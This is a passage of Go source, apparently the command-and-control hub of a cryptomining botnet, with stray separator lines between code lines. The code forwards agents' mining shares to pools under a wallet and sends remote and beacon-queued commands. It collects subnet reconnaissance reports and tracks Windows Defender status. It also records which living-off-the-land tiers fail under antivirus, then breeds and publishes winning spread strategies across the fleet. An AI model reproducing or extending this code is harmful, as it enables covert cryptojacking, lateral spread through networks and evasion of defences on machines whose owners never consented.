shareID, err := h.db.InsertShare(&share)
|
||
if err != nil {
|
||
log.Printf("Failed to insert share: %v", err)
|
||
continue
|
||
}
|
||
|
||
sendShareResult := func(accepted bool, errMsg string) {
|
||
share.Accepted = accepted
|
||
share.Error = errMsg
|
||
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
|
||
log.Printf("Failed to update share result: %v", err)
|
||
}
|
||
if h.serverPolicySnapshot().LogShareSubmissions {
|
||
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
|
||
}
|
||
|
||
agentConn := h.getAgentConn(agentID)
|
||
if agentConn != nil {
|
||
result := map[string]interface{}{
|
||
"job_id": share.JobID,
|
||
"accepted": accepted,
|
||
}
|
||
if errMsg != "" {
|
||
result["error"] = errMsg
|
||
}
|
||
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
|
||
}
|
||
|
||
h.broadcastDashboard(Message{
|
||
Type: "new_share",
|
||
Payload: mustMarshal(map[string]interface{}{
|
||
"id": shareID,
|
||
"agent_id": agentID,
|
||
"job_id": share.JobID,
|
||
"accepted": accepted,
|
||
"hash": share.Hash,
|
||
"nonce": share.Nonce,
|
||
"error": errMsg,
|
||
"timestamp": share.Timestamp,
|
||
}),
|
||
})
|
||
}
|
||
|
||
if h.poolManager == nil {
|
||
sendShareResult(false, "pool manager not configured")
|
||
continue
|
||
}
|
||
|
||
poolCfg := h.agentPoolConfig(agentID)
|
||
proxy := h.poolManager.GetPool(&poolCfg)
|
||
if proxy == nil {
|
||
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
|
||
proxy = p
|
||
} else {
|
||
sendShareResult(false, "pool not connected: "+err.Error())
|
||
continue
|
||
}
|
||
}
|
||
|
||
if !proxy.IsConnected() {
|
||
sendShareResult(false, "pool not connected")
|
||
continue
|
||
}
|
||
|
||
wallet := poolCfg.Wallet
|
||
if wallet == "" {
|
||
wallet = h.defaultPool.Wallet
|
||
}
|
||
|
||
go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
||
|
||
case "get_job":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var proxy *pool.Proxy
|
||
if h.poolManager != nil {
|
||
poolCfg := h.agentPoolConfig(agentID)
|
||
// Only use GetPool (non-blocking). If the pool hasn't connected yet
|
||
// (background EnsurePoolWithBackups from auth is still dialing), kick
|
||
// off another async attempt rather than blocking the WS read loop.
|
||
proxy = h.poolManager.GetPool(&poolCfg)
|
||
if proxy == nil {
|
||
go func(pc pool.Config) {
|
||
if p, err := h.poolManager.EnsurePool(&pc); err != nil {
|
||
log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err)
|
||
} else {
|
||
_ = p
|
||
}
|
||
}(poolCfg)
|
||
}
|
||
}
|
||
if proxy != nil {
|
||
job := proxy.GetCurrentJob()
|
||
if job != nil {
|
||
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(job)})
|
||
} else {
|
||
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
|
||
}
|
||
} else {
|
||
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
|
||
}
|
||
|
||
case "log_tail":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var payload struct {
|
||
Content string `json:"content"`
|
||
Lines int `json:"lines"`
|
||
}
|
||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||
continue
|
||
}
|
||
h.mu.Lock()
|
||
h.agentLogs[agentID] = payload.Content
|
||
h.mu.Unlock()
|
||
h.broadcastDashboard(Message{
|
||
Type: "agent_log",
|
||
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
|
||
})
|
||
|
||
case "capabilities_update":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var caps models.AgentCapabilities
|
||
if err := json.Unmarshal(msg.Payload, &caps); err != nil {
|
||
continue
|
||
}
|
||
h.UpdateAgentCapabilities(agentID, caps)
|
||
|
||
case "policy_ack":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var payload map[string]interface{}
|
||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||
continue
|
||
}
|
||
payload["agent_id"] = agentID
|
||
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
|
||
|
||
case "mining_fallback", "mining_status", "tier_report":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var payload map[string]interface{}
|
||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||
continue
|
||
}
|
||
payload["agent_id"] = agentID
|
||
h.ingestStrategyFromPayload(agentID, payload)
|
||
h.queueStatsBroadcast(payload)
|
||
|
||
case "self_surgery_report":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
h.handleSelfSurgeryReport(agentID, msg.Payload)
|
||
|
||
case "onion_miner_log":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
h.handleOnionMinerLog(agentID, msg.Payload)
|
||
|
||
case "atlas_gossip":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
h.handleAgentAtlasGossip(agentID, msg.Payload)
|
||
|
||
case "fleet_torrent_gossip":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
|
||
|
||
case "subnet_recon_report":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
h.ingestSubnetReconReport(agentID, msg.Payload)
|
||
|
||
case "command_result":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var payload map[string]interface{}
|
||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||
continue
|
||
}
|
||
payload["agent_id"] = agentID
|
||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||
// Notify any handler waiting for this specific agent+action result.
|
||
if action, _ := payload["action"].(string); action != "" {
|
||
h.notifyCmdCallback(agentID, action, payload)
|
||
if action == "service_discover" {
|
||
if ok, _ := payload["success"].(bool); ok {
|
||
if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
|
||
h.cacheServiceDiscover(agentID, msg)
|
||
}
|
||
}
|
||
}
|
||
if action == "full_sys_check" {
|
||
if ok, _ := payload["success"].(bool); ok {
|
||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||
name := agentID
|
||
if h.db != nil {
|
||
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
|
||
name = ag.Name
|
||
}
|
||
}
|
||
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
default:
|
||
if agentID != "" {
|
||
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
|
||
} else {
|
||
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||
username, ok := resolveDashboardWSUser(r)
|
||
if !ok {
|
||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
||
return
|
||
}
|
||
|
||
conn, err := upgrader.Upgrade(w, r, nil)
|
||
if err != nil {
|
||
log.Printf("Dashboard WebSocket upgrade error: %v", err)
|
||
return
|
||
}
|
||
|
||
dc := &DashboardConn{Conn: conn, Username: username, Page: "/dashboard"}
|
||
dashID := uuid.New().String()
|
||
h.mu.Lock()
|
||
h.dashboards[dashID] = dc
|
||
h.mu.Unlock()
|
||
|
||
defer func() {
|
||
h.mu.Lock()
|
||
delete(h.dashboards, dashID)
|
||
remaining := 0
|
||
for _, d := range h.dashboards {
|
||
if d.Username == username {
|
||
remaining++
|
||
}
|
||
}
|
||
h.mu.Unlock()
|
||
if remaining == 0 {
|
||
h.broadcastPresenceUpdate(username, "", false)
|
||
}
|
||
conn.Close()
|
||
}()
|
||
|
||
// Send initial data — reconcile DB status against live hub state so a
|
||
// freshly loaded dashboard never shows stale "online" phantoms.
|
||
initFilter, paginated := parseDashboardInitFilter(r)
|
||
var agents []*models.Agent
|
||
var initTotal int
|
||
if paginated {
|
||
agents, _ = h.db.ListAgentsFiltered(initFilter)
|
||
initTotal, _ = h.db.CountAgentsFiltered(initFilter)
|
||
} else {
|
||
agents, _ = h.db.ListAgents()
|
||
}
|
||
h.enrichAgentsCapabilities(agents)
|
||
for _, a := range agents {
|
||
if a == nil {
|
||
continue
|
||
}
|
||
if h.isAgentConnected(a.ID) {
|
||
a.Status = "online"
|
||
} else {
|
||
// Correct any row that says "online" but has no live socket.
|
||
a.Status = "offline"
|
||
}
|
||
}
|
||
stats, _ := h.db.GetFleetStats()
|
||
|
||
initPayload := map[string]interface{}{
|
||
"agents": agents,
|
||
"stats": stats,
|
||
}
|
||
if paginated {
|
||
initPayload["total"] = initTotal
|
||
initPayload["limit"] = initFilter.Limit
|
||
initPayload["offset"] = initFilter.Offset
|
||
}
|
||
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(initPayload)})
|
||
_ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{
|
||
"comrades": h.presenceSnapshotLocked(),
|
||
})})
|
||
h.broadcastPresenceUpdate(username, dc.Page, true)
|
||
|
||
go h.runPingLoopDash(dc)
|
||
|
||
for {
|
||
_, data, err := conn.ReadMessage()
|
||
if err != nil {
|
||
break
|
||
}
|
||
var msg Message
|
||
if json.Unmarshal(data, &msg) != nil {
|
||
continue
|
||
}
|
||
switch msg.Type {
|
||
case "presence_page":
|
||
var body struct {
|
||
Page string `json:"page"`
|
||
}
|
||
if json.Unmarshal(msg.Payload, &body) != nil {
|
||
continue
|
||
}
|
||
page := strings.TrimSpace(body.Page)
|
||
if page == "" {
|
||
page = "/dashboard"
|
||
}
|
||
h.mu.Lock()
|
||
if d, exists := h.dashboards[dashID]; exists {
|
||
d.Page = page
|
||
}
|
||
h.mu.Unlock()
|
||
h.broadcastPresenceUpdate(username, page, true)
|
||
case "notes_typing":
|
||
var body struct {
|
||
Active bool `json:"active"`
|
||
}
|
||
if json.Unmarshal(msg.Payload, &body) != nil {
|
||
continue
|
||
}
|
||
h.broadcastNotesTyping(username, body.Active)
|
||
case "tunnel_stream":
|
||
_ = dc.WriteJSON(Message{Type: "tunnel_stream", Payload: mustMarshal(map[string]interface{}{
|
||
"implemented": false,
|
||
"error": "tunnel_stream TCP reverse relay is not implemented; use tunnel_cloudflared or tunnel_ssh_forward on fleet agents",
|
||
})})
|
||
}
|
||
}
|
||
}
|
||
|
||
// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
|
||
// same coalesce window both land in one stats_batch update for dashboards.
|
||
func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
|
||
var base, patch map[string]interface{}
|
||
if json.Unmarshal(existing, &base) != nil || base == nil {
|
||
base = map[string]interface{}{}
|
||
}
|
||
if json.Unmarshal(incoming, &patch) != nil || patch == nil {
|
||
return existing
|
||
}
|
||
for k, v := range patch {
|
||
base[k] = v
|
||
}
|
||
return mustMarshal(base)
|
||
}
|
||
|
||
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
|
||
// message per interval instead of N individual stats_update frames.
|
||
func (h *WSHub) cacheAgentTelemetry(agentID string, payload map[string]interface{}) {
|
||
if agentID == "" || len(payload) == 0 {
|
||
return
|
||
}
|
||
h.mu.Lock()
|
||
defer h.mu.Unlock()
|
||
cur, ok := h.agentLiveTelemetry[agentID]
|
||
if !ok {
|
||
cur = make(map[string]interface{})
|
||
h.agentLiveTelemetry[agentID] = cur
|
||
}
|
||
for k, v := range payload {
|
||
if k == "agent_id" {
|
||
continue
|
||
}
|
||
cur[k] = v
|
||
}
|
||
}
|
||
|
||
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
|
||
// message per interval instead of N individual stats_update frames.
|
||
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
|
||
agentID, _ := payload["agent_id"].(string)
|
||
if agentID == "" {
|
||
return
|
||
}
|
||
data := mustMarshal(payload)
|
||
|
||
h.statsBatchMu.Lock()
|
||
if h.statsBatch == nil {
|
||
h.statsBatch = make(map[string]json.RawMessage)
|
||
}
|
||
if prev, ok := h.statsBatch[agentID]; ok {
|
||
data = mergeStatsPayload(prev, data)
|
||
}
|
||
h.statsBatch[agentID] = data
|
||
h.cacheAgentTelemetry(agentID, payload)
|
||
if h.statsBatchTimer == nil {
|
||
h.statsBatchTimer = time.AfterFunc(StatsBatchCoalesceInterval, h.flushStatsBatch)
|
||
}
|
||
h.statsBatchMu.Unlock()
|
||
}
|
||
|
||
func (h *WSHub) flushStatsBatch() {
|
||
h.statsBatchMu.Lock()
|
||
batch := h.statsBatch
|
||
h.statsBatch = nil
|
||
if h.statsBatchTimer != nil {
|
||
h.statsBatchTimer.Stop()
|
||
h.statsBatchTimer = nil
|
||
}
|
||
h.statsBatchMu.Unlock()
|
||
|
||
if len(batch) == 0 {
|
||
return
|
||
}
|
||
updates := make([]json.RawMessage, 0, len(batch))
|
||
for _, raw := range batch {
|
||
updates = append(updates, raw)
|
||
}
|
||
h.broadcastDashboard(Message{
|
||
Type: "stats_batch",
|
||
Payload: mustMarshal(map[string]interface{}{"updates": updates}),
|
||
})
|
||
}
|
||
|
||
func (h *WSHub) broadcastDashboard(msg Message) {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
|
||
data, err := json.Marshal(msg)
|
||
if err != nil {
|
||
return
|
||
}
|
||
|
||
for id, dc := range h.dashboards {
|
||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||
// Only close the connection here. HandleDashboardWS owns all map
|
||
// cleanup via its existing defer — doing it here too would cause a
|
||
// double-delete that corrupts the remaining-count used for the
|
||
// presence_update broadcast (SRV-B4).
|
||
dc.Conn.Close()
|
||
}
|
||
}
|
||
}
|
||
|
||
func mustMarshal(v interface{}) json.RawMessage {
|
||
data, _ := json.Marshal(v)
|
||
return data
|
||
}
|
||
|
||
// dnsEqual returns true when two DNS server lists contain the same addresses
|
||
// regardless of order. Used for T1016 drift detection.
|
||
func dnsEqual(a, b []string) bool {
|
||
if len(a) != len(b) {
|
||
return false
|
||
}
|
||
m := make(map[string]int, len(a))
|
||
for _, v := range a {
|
||
m[v]++
|
||
}
|
||
for _, v := range b {
|
||
m[v]--
|
||
if m[v] < 0 {
|
||
return false
|
||
}
|
||
}
|
||
return true
|
||
}
|
||
|
||
// BroadcastToAgents sends a message to all connected agents.
|
||
// Any agent whose write fails has its connection closed so the read-loop
|
||
// defer fires quickly and cleans up the hub entry.
|
||
func (h *WSHub) BroadcastToAgents(msg Message) {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
|
||
for id, agent := range h.agents {
|
||
if err := agent.SendJSON(msg); err != nil {
|
||
log.Printf("[hub] broadcast write failed agent %s: %v — closing socket", id, err)
|
||
_ = agent.Conn.Close()
|
||
}
|
||
}
|
||
}
|
||
|
||
// SendToAgent sends a message to one connected agent.
|
||
// On write failure the socket is closed immediately so the read-loop defer
|
||
// fires and calls SetAgentOffline without waiting the full read deadline.
|
||
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
|
||
agent := h.getAgentConn(agentID)
|
||
if agent == nil {
|
||
return fmt.Errorf("agent %s not connected", agentID)
|
||
}
|
||
if err := agent.SendJSON(msg); err != nil {
|
||
_ = agent.Conn.Close()
|
||
return err
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// RemoveAgent forcibly disconnects an agent and removes it from the live map.
|
||
// It then broadcasts agent_removed to all dashboard clients so the UI removes
|
||
// the agent immediately without waiting for the disconnect goroutine to fire.
|
||
func (h *WSHub) RemoveAgent(agentID string) {
|
||
h.mu.Lock()
|
||
if ac, ok := h.agents[agentID]; ok {
|
||
// Nil the map entry BEFORE closing so the agent goroutine's deferred
|
||
// cleanup (which checks cur.Conn == conn) falls into the else branch
|
||
// and skips SetAgentOffline — avoiding a write to an already-deleted row.
|
||
delete(h.agents, agentID)
|
||
delete(h.agentConfigs, agentID)
|
||
delete(h.agentLogs, agentID)
|
||
delete(h.agentCapabilities, agentID)
|
||
delete(h.agentLiveTelemetry, agentID)
|
||
if h.clearance != nil {
|
||
h.clearance.RemoveAgent(agentID)
|
||
}
|
||
ac.Conn.Close()
|
||
}
|
||
h.mu.Unlock()
|
||
// Broadcast removal so every connected dashboard drops the agent immediately.
|
||
h.broadcastDashboard(Message{
|
||
Type: "agent_removed",
|
||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||
})
|
||
}
|
||
|
||
// SendAgentCommand sends a remote command to an agent.
|
||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||
if err := h.checkSubnetSpreadImmune(agentID, action, args); err != nil {
|
||
return err
|
||
}
|
||
if h.isAgentConnected(agentID) {
|
||
payload := map[string]interface{}{"action": action}
|
||
for k, v := range args {
|
||
payload[k] = v
|
||
}
|
||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||
}
|
||
if h.EnqueueBeaconCommand(agentID, action, args) {
|
||
return nil
|
||
}
|
||
return fmt.Errorf("agent %s not connected", agentID)
|
||
}
|
||
|
||
// BroadcastAgentCommand sends a remote command to all connected agents.
|
||
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
|
||
payload := map[string]interface{}{"action": action}
|
||
for k, v := range args {
|
||
payload[k] = v
|
||
}
|
||
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
||
}
|
||
|
||
// ResolveAgentTargets expands "all" to connected agent IDs.
|
||
func (h *WSHub) ResolveAgentTargets(ids []string) []string {
|
||
if len(ids) == 0 {
|
||
return nil
|
||
}
|
||
for _, id := range ids {
|
||
if id == "all" {
|
||
return h.ConnectedAgentIDs()
|
||
}
|
||
}
|
||
return ids
|
||
}
|
||
|
||
// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents.
|
||
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
|
||
h.mu.RLock()
|
||
engine := h.adaptiveEngine
|
||
ids := h.ConnectedAgentIDs()
|
||
h.mu.RUnlock()
|
||
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
|
||
return 0
|
||
}
|
||
sent := 0
|
||
for _, agentID := range ids {
|
||
fp := engine.AgentFingerprint(agentID)
|
||
if fp.GOOS == "" {
|
||
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||
fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
|
||
}
|
||
}
|
||
adaptive := engine.StrategyForAgent(agentID, fp)
|
||
h.mu.RLock()
|
||
atlasEngine := h.failureAtlas
|
||
aiMode := h.serverPolicy.AIControlEnabled
|
||
h.mu.RUnlock()
|
||
if atlasEngine != nil && !aiMode {
|
||
var defenderEnabled, defenderRTP *bool
|
||
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||
defenderEnabled = ag.DefenderEnabled
|
||
defenderRTP = ag.DefenderRTP
|
||
}
|
||
if skips, _ := atlasEngine.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
|
||
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
|
||
}
|
||
}
|
||
payload, err := json.Marshal(adaptive)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil {
|
||
continue
|
||
}
|
||
sent++
|
||
}
|
||
return sent
|
||
}
|
||
|
||
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
|
||
platform, _ := payload["platform"].(string)
|
||
ip, _ := payload["ip"].(string)
|
||
var defenderEnabled, defenderRTP, firewallDomain *bool
|
||
if v, ok := payload["defender_enabled"].(bool); ok {
|
||
defenderEnabled = &v
|
||
}
|
||
if v, ok := payload["defender_rtp"].(bool); ok {
|
||
defenderRTP = &v
|
||
}
|
||
if v, ok := payload["firewall_domain"].(bool); ok {
|
||
firewallDomain = &v
|
||
}
|
||
attempts := parseLOTLAttemptsFromPayload(payload)
|
||
hashrate, _ := payload["mining_hashrate"].(float64)
|
||
activeTier, _ := payload["lotl_tier"].(string)
|
||
joinLane, _ := payload["join_lane"].(string)
|
||
chainOrder := parseStringSliceField(payload["chain_order"])
|
||
h.ingestAtlasFromStats(agentID, platform, ip, defenderEnabled, defenderRTP, firewallDomain, attempts)
|
||
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
|
||
return
|
||
}
|
||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
|
||
h.tryPublishWinningPhenotype(agentID, platform, ip, firewallDomain, attempts, hashrate, activeTier, joinLane, chainOrder)
|
||
}
|
||
|
||
func (h *WSHub) ingestAtlasFromStats(
|
||
agentID, platform, ip string,
|
||
defenderEnabled, defenderRTP, firewallDomain *bool,
|
||
attempts []struct {
|
||
Tier string `json:"tier"`
|
||
OK bool `json:"ok"`
|
||
Error string `json:"error,omitempty"`
|
||
DurationMs int64 `json:"duration_ms"`
|
||
Wallet string `json:"wallet,omitempty"`
|
||
},
|
||
) {
|
||
if h.failureAtlas == nil || h.db == nil {
|
||
return
|
||
}
|
||
if platform == "" || ip == "" {
|
||
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||
if platform == "" {
|
||
platform = ag.Platform
|
||
}
|
||
if ip == "" {
|
||
ip = ag.IP
|
||
}
|
||
if firewallDomain == nil {
|
||
firewallDomain = ag.FirewallDomain
|
||
}
|
||
if defenderEnabled == nil {
|
||
defenderEnabled = ag.DefenderEnabled
|
||
}
|
||
if defenderRTP == nil {
|
||
defenderRTP = ag.DefenderRTP
|
||
}
|
||
}
|
||
}
|
||
domainJoined := firewallDomain != nil && *firewallDomain
|
||
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||
if defenderRTP != nil && *defenderRTP {
|
||
fp.AVBlocks = true
|
||
}
|
||
snap := atlas.ProbeSnapshotFromMaps(fp, nil, defenderEnabled, defenderRTP)
|
||
conds := atlas.ExtractConditions(fp, snap)
|
||
for _, a := range attempts {
|
||
if a.OK || strings.TrimSpace(a.Tier) == "" {
|
||
continue
|
||
}
|
||
if err := h.failureAtlas.RecordFailure(fp.Key(), a.Tier, conds); err != nil {
|
||
log.Printf("[atlas] record failure: %v", err)
|
||
}
|
||
}
|
||
}
|
||
|
||
func (h *WSHub) ingestStrategyFromStats(
|
||
agentID, platform, ip string,
|
||
defenderRTP, firewallDomain *bool,
|
||
attempts []struct {
|
||
Tier string `json:"tier"`
|
||
OK bool `json:"ok"`
|
||
Error string `json:"error,omitempty"`
|
||
DurationMs int64 `json:"duration_ms"`
|
||
Wallet string `json:"wallet,omitempty"`
|
||
},
|
||
miningHashrate float64,
|
||
activeTier string,
|
||
) {
|
||
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
|
||
return
|
||
}
|
||
if platform == "" || ip == "" {
|
||
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||
if platform == "" {
|
||
platform = ag.Platform
|
||
}
|
||
if ip == "" {
|
||
ip = ag.IP
|
||
}
|
||
if firewallDomain == nil {
|
||
firewallDomain = ag.FirewallDomain
|
||
}
|
||
}
|
||
}
|
||
domainJoined := firewallDomain != nil && *firewallDomain
|
||
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||
if defenderRTP != nil && *defenderRTP {
|
||
fp.AVBlocks = true
|
||
}
|
||
h.adaptiveEngine.RememberAgentFingerprint(agentID, fp)
|
||
for _, a := range attempts {
|
||
hr := 0.0
|
||
if a.OK && strings.EqualFold(a.Tier, activeTier) {
|
||
hr = miningHashrate
|
||
}
|
||
h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining")
|
||
}
|
||
if activeTier != "" && miningHashrate > 0 {
|
||
h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining")
|
||
}
|
||
}
|
||
|
||
func (h *WSHub) tryPublishWinningPhenotype(
|
||
agentID, platform, ip string,
|
||
firewallDomain *bool,
|
||
attempts []struct {
|
||
Tier string `json:"tier"`
|
||
OK bool `json:"ok"`
|
||
Error string `json:"error,omitempty"`
|
||
DurationMs int64 `json:"duration_ms"`
|
||
Wallet string `json:"wallet,omitempty"`
|
||
},
|
||
miningHashrate float64,
|
||
activeTier, joinLane string,
|
||
chainOrder []string,
|
||
) {
|
||
if h.db == nil || miningHashrate <= 0 || strings.TrimSpace(activeTier) == "" {
|
||
return
|
||
}
|
||
ag, err := h.db.GetAgent(agentID)
|
||
if err != nil {
|
||
return
|
||
}
|
||
if platform == "" {
|
||
platform = ag.Platform
|
||
}
|
||
if ip == "" {
|
||
ip = ag.IP
|
||
}
|
||
if firewallDomain == nil {
|
||
firewallDomain = ag.FirewallDomain
|
||
}
|
||
domainJoined := firewallDomain != nil && *firewallDomain
|
||
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||
stratAttempts := make([]strategy.TierAttempt, len(attempts))
|
||
for i, a := range attempts {
|
||
stratAttempts[i] = strategy.TierAttempt{Tier: a.Tier, OK: a.OK}
|
||
}
|
||
fallback := append([]string(nil), chainOrder...)
|
||
if len(fallback) == 0 {
|
||
fallback = append(fallback, strategy.DefaultMiningTierOrder...)
|
||
}
|
||
tierOrder := strategy.BuildWinningTierOrder(stratAttempts, activeTier, fallback)
|
||
if len(tierOrder) == 0 {
|
||
return
|
||
}
|
||
pheno := strategy.FleetPhenotype{
|
||
SourceAgentID: agentID,
|
||
SourceAgentName: ag.Name,
|
||
Fingerprint: fp.Key(),
|
||
OS: fp.GOOS,
|
||
SpreadLane: strings.TrimSpace(joinLane),
|
||
ActiveTier: strings.TrimSpace(activeTier),
|
||
TierOrder: tierOrder,
|
||
PeakHashrate: miningHashrate,
|
||
CreatedAt: time.Now().UTC(),
|
||
}
|
||
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
||
log.Printf("[phenotype] publish: %v", err)
|
||
}
|
||
if h.breedingRegistry != nil {
|
||
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
|
||
Fingerprint: fp.Key(),
|
||
SpreadLane: strings.TrimSpace(joinLane),
|
||
TierOrder: tierOrder,
|
||
ActiveTier: strings.TrimSpace(activeTier),
|
||
PeakHashrate: miningHashrate,
|
||
FailedTiers: strategy.FailedTierSet(stratAttempts),
|
||
SourceAgentName: ag.Name,
|
||
})
|
||
}
|
||
h.publishStrainCardForWinner(agentID, ag.Name, strings.TrimSpace(joinLane), tierOrder, miningHashrate, stratAttempts)
|
||
}
|
||
|
||
func (h *WSHub) tryPublishScoutPhenotype(
|
||
agentID, platform, ip string,
|
||
firewallDomain *bool,
|
||
joinLane string,
|
||
serviceCount int,
|
||
) {
|
||
if h.db == nil || (strings.TrimSpace(joinLane) == "" && serviceCount <= 0) {
|
||
return
|
||
}
|
||
ag, err := h.db.GetAgent(agentID)
|
||
if err != nil {
|
||
return
|
||
}
|
||
if platform == "" {
|
||
platform = ag.Platform
|
||
}
|
||
if ip == "" {
|
||
ip = ag.IP
|
||
}
|
||
if firewallDomain == nil {
|
||
firewallDomain = ag.FirewallDomain
|
||
}
|
||
domainJoined := firewallDomain != nil && *firewallDomain
|
||
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||
lane := strings.TrimSpace(joinLane)
|
||
if lane == "" {
|
||
lane = "service_graph"
|
||
}
|
||
tierOrder := []string{"service_graph", "discover_and_join"}
|
||
if lane != "service_graph" && lane != "discover_and_join" {
|
||
tierOrder = append(tierOrder, lane)
|
||
}
|
||
pheno := strategy.FleetPhenotype{
|
||
SourceAgentID: agentID,
|
||
SourceAgentName: ag.Name,
|
||
Fingerprint: fp.Key(),
|
||
OS: fp.GOOS,
|
||
SpreadLane: lane,
|
||
ActiveTier: "service_graph",
|
||
TierOrder: tierOrder,
|
||
PeakHashrate: 0,
|
||
CreatedAt: time.Now().UTC(),
|
||
}
|
||
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
||
log.Printf("[phenotype] scout publish: %v", err)
|
||
}
|
||
if h.breedingRegistry != nil {
|
||
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
|
||
Fingerprint: fp.Key(),
|
||
SpreadLane: lane,
|
||
TierOrder: tierOrder,
|
||
ActiveTier: "service_graph",
|
||
PeakHashrate: float64(serviceCount),
|
||
SourceAgentName: ag.Name,
|
||
})
|
||
}
|
||
}
|
||
|
||
func parseStringSliceField(raw interface{}) []string {
|
||
arr, ok := raw.([]interface{})
|
||
if !ok {
|
||
return nil
|
||
}
|
||
out := make([]string, 0, len(arr))
|
||
for _, v := range arr {
|
||
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
|
||
out = append(out, s)
|
||
}
|
||
}
|
||
return out
|
||
}
|
||
|
||
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
|
||
Tier string `json:"tier"`
|
||
OK bool `json:"ok"`
|
||
Error string `json:"error,omitempty"`
|
||
DurationMs int64 `json:"duration_ms"`
|
||
Wallet string `json:"wallet,omitempty"`
